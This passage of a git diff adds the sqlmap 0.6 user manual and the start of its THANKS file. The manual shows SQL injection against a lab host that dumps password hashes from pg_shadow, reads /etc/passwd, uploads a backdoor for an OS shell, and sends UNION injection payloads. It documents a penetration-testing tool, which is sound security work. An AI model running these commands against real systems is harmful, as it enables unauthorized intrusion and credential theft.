shell] +sql> SELECT version() +SELECT version(): 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 +(Ubuntu 4.2.3-2ubuntu4)' + +sql> exit + +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-shell + +sql> [UP arrow key shows 'exit', then DOWN arrow key clean the shell] +sql> SELECT usename, passwd FROM pg_shadow ORDER BY usename +[hh:mm:45] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y +[hh:mm:46] [INPUT] the SQL query that you provide can return up to 3 entries. How many entries +do you want to retrieve? +[a] All (default) +[#] Specific number +[q] Quit +Choice: +SELECT usename, passwd FROM pg_shadow ORDER BY usename [3]: +[*] postgres, md5d7d880f96044b72d0bba108ace96d1e4 +[*] testuser, md599e5ea7a6f7c3269995cba3927fd0093 +[*] testuser2, +</verb></tscreen> + +<p> +Example of TAB completion on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-shell + +sql> [TAB TAB] +AND ORD(MID((%s), %d, 1)) > %d +CAST(%s AS CHAR(10000)) +COUNT(%s) +CURRENT_USER() +DATABASE() +IFNULL(%s, ' ') +LENGTH(%s) +LIMIT %d, %d +MID((%s), %d, %d) +ORDER BY %s ASC +SELECT %s FROM %s.%s +SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND +table_schema='%s' +SELECT grantee FROM information_schema.USER_PRIVILEGES +SELECT grantee, privilege_type FROM information_schema.USER_PRIVILEGES +SELECT schema_name FROM information_schema.SCHEMATA +SELECT table_schema, table_name FROM information_schema.TABLES +SELECT user, password FROM mysql.user +VERSION() +sql> SE[TAB] +sql> SELECT +</verb></tscreen> + +<p> +As you can see the TAB functionality shows the queries defined for the +back-end database management system in sqlmap XML queries file, but you +can run whatever <tt>SELECT</tt> statement that you want. + +<p> +Example of asterisk expansion on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-shell \ + -v 1 + +[...] +[hh:mm:40] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER +sql> SELECT * FROM test.users +[hh:mm:48] [INFO] fetching SQL SELECT query output: 'SELECT * FROM test.users' +[hh:mm:48] [INFO] you did not provide the fields in your query. sqlmap will retrieve the column +names itself. +[hh:mm:48] [INFO] fetching columns for table 'users' on database 'test' +[hh:mm:48] [INFO] fetching number of columns for table 'users' on database 'test' +[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32)) FROM +information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND +table_schema=CHAR(116,101,115,116) +[hh:mm:48] [INFO] retrieved: 3 +[hh:mm:48] [INFO] performed 13 queries in 0 seconds +[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM +information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND +table_schema=CHAR(116,101,115,116) LIMIT 0, 1 +[hh:mm:48] [INFO] retrieved: id +[hh:mm:48] [INFO] performed 20 queries in 0 seconds +[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM +information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND +table_schema=CHAR(116,101,115,116) LIMIT 1, 1 +[hh:mm:48] [INFO] retrieved: name +[hh:mm:48] [INFO] performed 34 queries in 0 seconds +[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM +information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND +table_schema=CHAR(116,101,115,116) LIMIT 2, 1 +[hh:mm:48] [INFO] retrieved: surname +[hh:mm:48] [INFO] performed 55 queries in 0 seconds +[hh:mm:48] [INFO] the query with column names is: SELECT id, name, surname FROM test.users +[hh:mm:48] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y +[hh:mm:04] [INFO] query: SELECT IFNULL(CAST(COUNT(id) AS CHAR(10000)), CHAR(32)) FROM test.users +[hh:mm:04] [INFO] retrieved: 5 +[hh:mm:04] [INFO] performed 13 queries in 0 seconds +[hh:mm:04] [INPUT] the SQL query that you provide can return up to 5 entries. How many entries +do you want to retrieve? +[a] All (default) +[#] Specific number +[q] Quit +Choice: 3 +[hh:mm:09] [INFO] sqlmap is now going to retrieve the first 3 query output entries +[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users +ORDER BY id ASC LIMIT 0, 1 +[hh:mm:09] [INFO] retrieved: 1 +[hh:mm:09] [INFO] performed 13 queries in 0 seconds +[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users +ORDER BY id ASC LIMIT 0, 1 +[hh:mm:09] [INFO] retrieved: luther +[hh:mm:09] [INFO] performed 48 queries in 0 seconds +[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users +ORDER BY id ASC LIMIT 0, 1 +[hh:mm:09] [INFO] retrieved: blissett +[hh:mm:09] [INFO] performed 62 queries in 0 seconds +[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users +ORDER BY id ASC LIMIT 1, 1 +[hh:mm:09] [INFO] retrieved: 2 +[hh:mm:09] [INFO] performed 13 queries in 0 seconds +[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users +ORDER BY id ASC LIMIT 1, 1 +[hh:mm:09] [INFO] retrieved: fluffy +[hh:mm:09] [INFO] performed 48 queries in 0 seconds +[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users +ORDER BY id ASC LIMIT 1, 1 +[hh:mm:09] [INFO] retrieved: bunny +[hh:mm:09] [INFO] performed 41 queries in 0 seconds +[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users +ORDER BY id ASC LIMIT 2, 1 +[hh:mm:09] [INFO] retrieved: 3 +[hh:mm:09] [INFO] performed 13 queries in 0 seconds +[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users +ORDER BY id ASC LIMIT 2, 1 +[hh:mm:09] [INFO] retrieved: wu +[hh:mm:09] [INFO] performed 20 queries in 0 seconds +[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users +ORDER BY id ASC LIMIT 2, 1 +[hh:mm:09] [INFO] retrieved: ming +[hh:mm:10] [INFO] performed 34 queries in 0 seconds +SELECT * FROM test.users [3]: +[*] 1, luther, blissett +[*] 2, fluffy, bunny +[*] 3, wu, ming +</verb></tscreen> + +<p> +As you can see in this last example, if the <tt>SELECT</tt> statement has +an asterisk instead of the column(s) name, sqlmap first retrieves the +column names of the table then asks if the query can return multiple +entries and goes on. + + +<sect1>File system access + +<sect2>Read a specific file content + +<p> +Option: <tt>--read-file</tt> + +<p> +If the back-end database management system is MySQL and the current user +has access to the <tt>LOAD_FILE()</tt> function, it is possible to read +the content of a specific file from the file system. + +<p> +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" \ + --read-file /etc/passwd + +/etc/passwd: +--- +root:x:0:0:root:/root:/bin/bash +daemon:x:1:1:daemon:/usr/sbin:/bin/sh +bin:x:2:2:bin:/bin:/bin/sh +sys:x:3:3:sys:/dev:/bin/sh +sync:x:4:65534:sync:/bin:/bin/sync +games:x:5:60:games:/usr/games:/bin/sh +man:x:6:12:man:/var/cache/man:/bin/sh +lp:x:7:7:lp:/var/spool/lpd:/bin/sh +mail:x:8:8:mail:/var/mail:/bin/sh +news:x:9:9:news:/var/spool/news:/bin/sh +uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh +proxy:x:13:13:proxy:/bin:/bin/sh +www-data:x:33:33:www-data:/var/www:/bin/false +backup:x:34:34:backup:/var/backups:/bin/sh +nobody:x:65534:65534:nobody:/nonexistent:/bin/sh +mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false +postgres:x:105:107:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash +inquis:x:1000:100:Bernardo Damele A. G.,,,:/home/inquis:/bin/bash +--- +</verb></tscreen> + + +<sect1>Operating system access + +<sect2>Prompt for an interactive operating system shell + +<p> +Option: <tt>--os-shell</tt> + +<p> +If the back-end database management system is MySQL, the web application's +programming language is PHP and you, or sqlmap itself, found a writable +directory within the web server document root path, sqlmap can prompt for +an interactive operating system shell on the back-end database management +system. + +<p> +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" \ + --os-shell + +[hh:mm:49] [WARNING] unable to retrieve the injectable file absolute system path +[hh:mm:49] [WARNING] unable to retrieve the remote web server document root +[hh:mm:49] [INPUT] please provide the web server document root [/var/www]: +[hh:mm:53] [INPUT] please provide a list of directories absolute path comma separated that +you want sqlmap to try to upload the agent [/var/www/test]: +[hh:mm:55] [INPUT] do you want to use the uploaded backdoor as a shell to execute commands +right now? [Y/n] y +$ id +uid=33(www-data) gid=33(www-data) groups=33(www-data) +$ exit +</verb></tscreen> + +<p> +As you might notice, such operating system shell has the same +functionalities of SQL shell. + + +<sect1>Miscellaneous + +<sect2>Test for UNION SELECT query SQL injection + +<p> +Option: <tt>--union-test</tt> + +<p> +It is possible to test if the target URL is affected by an <bf>inband +SQL injection</bf> vulnerability. +Refer to the <em>Techniques</em> section for details on this SQL injection +technique. + +<p> +Example on an <bf>Oracle XE 10.2.0.1</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" \ + --union-test -v 1 + +[...] +back-end DBMS: Oracle + +[hh:mm:55] [INFO] testing inband sql injection on parameter 'id' +[hh:mm:55] [INFO] the target url could be affected by an inband sql injection vulnerability +valid union: 'http://192.168.1.121:80/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT +NULL, NULL, NULL FROM DUAL-- AND 5601=5601&cat=2' +</verb></tscreen> + +<p> +Example on a <bf>PostgreSQL 8.2.7</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1&cat=2" \ + --union-test -v 1 + +[...] +back-end DBMS: PostgreSQL + +[hh:mm:05] [INFO] testing inband sql injection on parameter 'id' +[hh:mm:05] [INFO] the target url could be affected by an inband sql injection vulnerability +valid union: 'http://192.168.1.121:80/sqlmap/pgsql/get_str.php?id=1' UNION ALL SELECT +NULL, NULL, NULL-- AND 'QOAtA'='QOAtA&cat=2' +</verb></tscreen> + +<p> +As you can see, the target URL parameter <tt>id</tt> might be also +affected by an inband SQL injection. +In case this vulnerability is exploitable it is strongly recommended to +use it. + +<sect2>Use the UNION SELECT query SQL injection + +<p> +Option: <tt>--union-use</tt> + +<p> +Providing the <tt>--union-use</tt> parameter, sqlmap will first test if +the target URL is affected by an <bf>inband SQL injection</bf> +(<tt>--union-test</tt>) vulnerability then, in case it is vulnerable and +exploitable, it will trigger this vulnerability to retrieve the output of +the <tt>SELECT</tt> queries. + +<p> +Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 \ + --union-use --banner + +[...] +back-end DBMS: Microsoft SQL Server 2000 + +[hh:mm:42] [INFO] fetching banner +[hh:mm:42] [INFO] testing inband sql injection on parameter 'id' +[hh:mm:42] [INFO] the target url could be affected by an inband sql injection vulnerability +[hh:mm:42] [INFO] confirming inband sql injection on parameter 'id' +[hh:mm:42] [INFO] the target url is affected by an exploitable inband sql injection +vulnerability +[hh:mm:42] [INFO] query: UNION ALL SELECT NULL, (CHAR(110)+CHAR(83)+CHAR(68)+CHAR(80)+ +CHAR(84)+CHAR(70))+ISNULL(CAST(@@VERSION AS VARCHAR(8000)), (CHAR(32)))+(CHAR(70)+CHAR(82)+ +CHAR(100)+CHAR(106)+CHAR(72)+CHAR(75)), NULL-- AND 5204=5204 +[hh:mm:42] [INFO] performed 3 queries in 0 seconds +banner: +--- +Microsoft SQL Server 2000 - 8.00.194 (Intel X86) + Aug 6 2000 00:57:48 + Copyright (c) 1988-2000 Microsoft Corporation + Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) +--- +</verb></tscreen> + +<p> +As you can see, the vulnerable parameter (<tt>id</tt>) is affected by both +blind SQL injection and exploitable inband SQL injection vulnerabilities. + +<p> +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 5 \ + --union-use --banner + +[...] +[hh:mm:25] [INFO] the target url is affected by an exploitable inband sql injection +vulnerability +[hh:mm:25] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(98,108,76,79,106,78), +IFNULL(CAST(VERSION() AS CHAR(10000)), CHAR(32)),CHAR(122,110,105,89,121,65)), NULL-- +AND 6043=6043 +[hh:mm:25] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%2898 +%2C108%2C76%2C79%2C106%2C78%29%2CIFNULL%28CAST%28VERSION%28%29%20AS%20CHAR%2810000%29%29 +%2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL--%20AND%2 +06043=6043&cat=2 HTTP/1.1 +Host: 192.168.1.121:80 +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Connection: close + +[hh:mm:25] [TRAFFIC IN] HTTP response (OK - 200): +Date: Mon, 28 Jul 2008 22:34:25 GMT +Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 +OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 +X-Powered-By: PHP/5.2.4-2ubuntu5.2 +Content-Length: 194 +Connection: close +Content-Type: text/html + +<html><body> +<b>SQL results:</b> +<table border="1"> +<tr><td>1</td><td>luther</td><td>blissett</td></tr> +<tr><td></td><td>blLOjN5.0.51a-3ubuntu5.2zniYyA</td><td></td></tr> +</table> +</body></html> + +[hh:mm:25] [INFO] performed 3 queries in 0 seconds +banner: '5.0.51a-3ubuntu5.2' +</verb></tscreen> + +<p> +As you can see, the MySQL <tt>version()</tt> function (banner) output is +nested (inband) within the HTTP response page, this makes the inband SQL +injection exploitable. + + +<sect2>Estimated time of arrival + +<p> +Option: <tt>--eta</tt> + +<p> +It is possible to calculate and show the estimated time of arrival to +retrieve each query output in real time while performing the SQL injection +attack. + +<p> +Example on an <bf>Oracle XE 10.2.0.1</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -b \ + --eta -v 1 + +[...] +back-end DBMS: Oracle + +[hh:mm:24] [INFO] fetching banner +[hh:mm:24] [INFO] the resumed output is partial, sqlmap is going to retrieve the query +output again +[hh:mm:24] [INFO] retrieved the length of query output: 64 +[hh:mm:24] [INFO] query: SELECT NVL(CAST(banner AS VARCHAR(4000)), (CHR(32))) FROM v$version +WHERE ROWNUM=1 +77% [=======================================> ] 49/64 ETA 00:00 +</verb></tscreen> + +<p> +then: + +<tscreen><verb> +100% [====================================================] 64/64 +[hh:mm:15] [INFO] performed 454 queries in 2 seconds +banner: 'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product' +</verb></tscreen> + +<p> +Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" \ + --users --eta -v 1 + +[...] +back-end DBMS: Microsoft SQL Server 2000 + +[hh:mm:57] [INFO] fetching database users +[hh:mm:57] [INFO] fetching number of database users +[hh:mm:57] [INFO] query: SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS VARCHAR(8000)), +(CHAR(32))) FROM master..syslogins +[hh:mm:57] [INFO] retrieved: 3 +[hh:mm:57] [INFO] performed 13 queries in 0 seconds +[hh:mm:57] [INFO] retrieved the length of query output: 22 +[hh:mm:57] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM +master..syslogins WHERE name NOT IN (SELECT TOP 0 name FROM master..syslogins ORDER BY name) +ORDER BY name +100% [====================================================] 22/22 +[hh:mm:58] [INFO] performed 160 queries in 0 seconds +[hh:mm:58] [INFO] retrieved the length of query output: 2 +[hh:mm:58] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM +master..syslogins WHERE name NOT IN (SELECT TOP 1 name FROM master..syslogins ORDER BY name) +ORDER BY name +100% [====================================================] 2/2 +[hh:mm:59] [INFO] performed 20 queries in 0 seconds +[hh:mm:59] [INFO] retrieved the length of query output: 25 +[hh:mm:59] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM +master..syslogins WHERE name NOT IN (SELECT TOP 2 name FROM master..syslogins ORDER BY name) +ORDER BY name +100% [====================================================] 25/25 +[hh:mm:00] [INFO] performed 181 queries in 1 seconds +database management system users [3]: +[*] BUILTIN\Administrators +[*] sa +[*] W2KITINQUIS\Administrator +</verb></tscreen> + +<p> +As you can see, sqlmap first calculates the length of the query output, +then estimated the time of arrival, shows the progress in percentage and +counts the number of retrieved query output characters. + + +<sect2>Update sqlmap to the latest stable version + +<p> +Option: <tt>--update</tt> + +<p> + +It is possible to update sqlmap to the latest stable version available on +its <htmlurl url="http://sourceforge.net/project/showfiles.php?group_id=171598&package_id=196107" +name="SourceForge File List page"> by running it with the +<tt>--update</tt> option. + +<tscreen><verb> +$ python sqlmap.py --update -v 4 + +[hh:mm:53] [DEBUG] initializing the configuration +[hh:mm:53] [DEBUG] initializing the knowledge base +[hh:mm:53] [DEBUG] cleaning up configuration parameters +[hh:mm:53] [DEBUG] setting the HTTP method to perform HTTP requests through +[hh:mm:53] [DEBUG] creating HTTP requests opener object +[hh:mm:53] [INFO] updating sqlmap +[hh:mm:53] [DEBUG] checking if a new version is available +[hh:mm:55] [TRAFFIC OUT] HTTP request: +GET /doc/VERSION HTTP/1.1 +Host: sqlmap.sourceforge.net +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Connection: close + +[hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200): +Date: Fri, 01 Aug 2008 14:50:55 GMT +Server: Apache/1.3.33 (Unix) PHP/4.3.10 +Last-Modified: Thu, 31 Jul 2008 11:10:19 GMT +ETag: "9fcc53e-4-48919d9b" +Accept-Ranges: bytes +Content-Length: 4 +Connection: close +Content-Type: text/plain +X-Pad: avoid browser bug + +[hh:mm:55] [INFO] you are already running sqlmap latest stable version +[hh:mm:55] [INFO] updating Microsoft SQL Server XML versions file +[hh:mm:56] [TRAFFIC OUT] HTTP request: +GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1 +Host: www.sqlsecurity.com +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0; +language=en-US +Connection: close + +[hh:mm:02] [TRAFFIC IN] HTTP response (OK - 200): +Cache-Control: private +Connection: close +Date: Fri, 01 Aug 2008 14:50:50 GMT +Content-Length: 167918 +Content-Type: text/html; charset=utf-8 +Server: Microsoft-IIS/6.0 +X-Powered-By: ASP.NET +X-AspNet-Version: 2.0.50727 +Set-Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0; +expires=Fri, 10-Oct-2008 01:30:49 GMT; path=/; HttpOnly +Set-Cookie: language=en-US; path=/; HttpOnly + +[hh:mm:02] [INFO] no new Microsoft SQL Server versions since the last update +[hh:mm:02] [DEBUG] parsing XML queries file +</verb></tscreen> + +<p> +As you can see, sqlmap first check if a new stable version is available, +then in case it is, download it, unzip it and update the Microsoft SQL +Server XML versions file from Chip Andrews' +<htmlurl url="http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx" +name="SQLSecurity.com site">. + +<p> +Note that the default configuration file <tt>sqlmap.conf</tt> is backupped +to <tt>sqlmap.conf.bak</tt> in case a new stable version is available and +your copy is updated. + + +<sect2>Save and resume all data retrieved on a session file + +<p> +Option: <tt>-s</tt> + +<p> +It is possible to log all queries and their output on a text file while +performing whatever request, both in blind SQL injection and in inband SQL +injection. +This is useful if you stop the injection and resume it after some time. + +<p> +Example on a <bf>PostgreSQL 8.2.7</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \ + -v 1 -s "sqlmap.log" + +[...] +back-end DBMS: PostgreSQL + +[hh:mm:42] [INFO] fetching banner +[hh:mm:42] [INFO] query: COALESCE(CAST(VERSION() AS CHARACTER(10000)), (CHR(32))) +[hh:mm:42] [INFO] retrieved: PostgreSQL 8.2.7 o +[hh:mm:43] [ERROR] user aborted +</verb></tscreen> + +<p> +As you can see, I stopped the injection with <tt>CTRL-C</tt> while +retrieving the PostgreSQL banner and logged the session to text file +<tt>sqlmap.log</tt>. + +<tscreen><verb> +$ cat sqlmap.log + +[hh:mm:40 MM/DD/YY] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Injection point][GET] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Injection parameter][id] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Injection type][numeric] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Parenthesis][0] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][CONCAT('1', '1')][] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][LENGTH(SYSDATE)][] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][COALESCE(9, NULL)][9] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][LENGTH('9')][1] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][DBMS][PostgreSQL] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][VERSION()][PostgreSQL 8.2.7 o +</verb></tscreen> + +<p> +As you can see, all queries performed and their output have been logged to +the session file in real time while performing the injection. + +<p> +The session file has a structure as follows: + +<tscreen><verb> +[hh:mm:ss MM/DD/YY] +[Target URL][Injection point][Parameters][Query or information name][Query output or value] +</verb></tscreen> + +<p> +Performing the same request now, sqlmap calculates the query length, +in the example <tt>VERSION()</tt>, and resumes the injection from the last +character retrieved to the end of the query output. + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \ + -v 1 -s "sqlmap.log" + +[...] +back-end DBMS: PostgreSQL + +[hh:mm:37] [INFO] fetching banner +[hh:mm:37] [INFO] retrieved the length of query output: 93 +[hh:mm:37] [INFO] resumed from file 'sqlmap.log': PostgreSQL 8.2.7 o... +[hh:mm:37] [INFO] retrieving pending 75 query output characters +[hh:mm:37] [INFO] query: COALESCE(CAST(SUBSTR((VERSION()), 19, 93) AS CHARACTER(10000)), +(CHR(32))) +[hh:mm:37] [INFO] starting 1 threads +[hh:mm:37] [INFO] retrieved: n i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu +4.2.3-2ubuntu4) +banner: 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu +4.2.3-2ubuntu4)' +</verb></tscreen> + + +<sect2>Load options from a configuration INI file + +<p> +Option: <tt>-c</tt> + +<p> +It is possible to pass user's option from a configuration INI file, an +example is <tt>sqlmap.conf</tt>. + +<p> +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -c "sqlmap.conf" + +[hh:mm:42] [WARNING] User-Agent parameter 'User-Agent' is not dynamic +[hh:mm:42] [WARNING] GET parameter 'cat' is not dynamic +back-end DBMS: MySQL >= 5.0.0 +</verb></tscreen> + + +<sect2>Save options on a configuration INI file + +<p> +Option: <tt>--save</tt> + +<p> + +<p> +Example on a <bf>PostgreSQL 8.2.7</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \ + -v 1 --save + +[hh:mm:33] [INFO] saved command line options on '/software/sqlmap/sqlmap-ADMcR.conf' +configuration file +[hh:mm:33] [INFO] testing connection to the target url +[hh:mm:33] [INFO] testing if the url is stable, wait a few seconds +[...] +</verb></tscreen> + +<p> +As you can see, sqlmap saved the command line options to a configuration +INI file, <tt>sqlmap-ADMcR.conf</tt>. + +<tscreen><verb> +$ cat sqlmap-ADMcR.conf + +[Request] +aCred = +aType = +agent = +cookie = +data = +googleDork = +method = GET +proxy = +referer = +testParameter = +threads = 1 +url = http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2 +userAgentsFile = + +[Miscellaneous] +eta = False +sessionFile = +unionTest = False +unionUse = False +updateAll = False +verbose = 1 + +[Enumeration] +col = +db = +dumpAll = False +dumpTable = False +excludeSysDbs = False +getBanner = True +getColumns = False +getCurrentDb = False +getCurrentUser = False +getDbs = False +getPasswordHashes = False +getPrivileges = False +getTables = False +getUsers = False +query = +sqlShell = False +tbl = +user = + +[File system] +rFile = +wFile = + +[Takeover] +osShell = False + +[Fingerprint] +extensiveFp = False + +[Injection] +dbms = +string = +</verb></tscreen> + +<p> +The file is a valid sqlmap configuration INI file. +You can edit the configuration options as you wish and pass it to sqlmap +with the <tt>-c</tt> option as explained in the previous paragraph: + +<tscreen><verb> +$ python sqlmap.py -c "sqlmap-ADMcR.conf" + +[...] +back-end DBMS: PostgreSQL + +[hh:mm:10] [INFO] fetching banner +[hh:mm:10] [INFO] query: COALESCE(CAST(VERSION() AS CHARACTER(10000)), (CHR(32))) +[hh:mm:10] [INFO] retrieved: PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) +4.2.3 (Ubuntu 4.2.3-2ubuntu4) +[hh:mm:16] [INFO] performed 657 queries in 6 seconds +banner: 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu +4.2.3-2ubuntu4)' +</verb></tscreen> + + +<sect>Disclaimer + +<p> +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +<p> +Whatever you do with this tool is uniquely your responsability. If you are +not authorized to punch holes in the network you are attacking be aware +that such action might get you in trouble with a lot of law enforcement +agencies. + + +<sect>Authors + +<p> +Feel free to contact us for comments, suggestions, bug reports and +patches. + +<itemize> +<item><htmlurl url="mailto:bernardo.damele@gmail.com" name="Bernardo Damele A. G."> (inquis) - project leader, core developer. PGP Key ID: <htmlurl url="http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x05F5A30F" name="0x05F5A30F"> +<item><htmlurl url="mailto:daniele.bellucci@gmail.com" name="Daniele Bellucci"> (belch) - project founder, initial developer. PGP Key ID: <htmlurl url="http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x9A0E8190" name="0x9A0E8190"> +</itemize> + + +</article> diff --git a/doc/THANKS b/doc/THANKS new file mode 100644 index 000000000..26e2c85da --- /dev/null +++ b/doc/THANKS @@ -0,0 +1,117 @@ +== Individuals == + +Chip Andrews <chip@sqlsecurity.com> + for his excellent work maintaining the SQL Server versions database + at SQLSecurity.com and permission to implement the update feature + taking data from his site + +Karl Chen <quarl@cs.berkeley.edu> + for providing with the multithreading patch for the inference + algorithm + +Stefano Di Paola <stefano.dipaola@wisec.it> + for suggesting good features + +Adam Faheem <faheem.adam@is.co.za> + for reporting a few bugs + +Rong-En Fan <rafan@freebsd.org> + for commiting the sqlmap 0.5 port to the official FreeBSD project + repository + +Giorgio Fedon <giorgio.fedon@gmail.com> + for suggesting a speed improvement for bisection algorithm + for reporting a bug when running against Microsoft SQL Server 2005 + +Ivan Giacomelli <truemilk@insiberia.net> + for reporting a bug + for suggesting a minor enhancement + +Davide Guerri <d.guerri@caspur.it> + for suggesting an enhancement + +Kristian Erik Hermansen <kristian.hermansen@gmail.com> + for reporting a bug + for donating to sqlmap development + +Jorge Hoya <aquinadie@gmail.com> + for suggesting a minor enhancement + +Will Holcomb <wholcomb@gmail.com> + for his MultipartPostHandler class to handle multipart POST forms and + permission to include it within sqlmap source code + +Michael Majchrowicz <mmajchrowicz@gmail.com> + for extensively beta-testing sqlmap on various MySQL DBMS + for providing really appreciated feedback + for suggesting a lot of ideas and features + +Enrico Milanese <enricomilanese@gmail.com> + 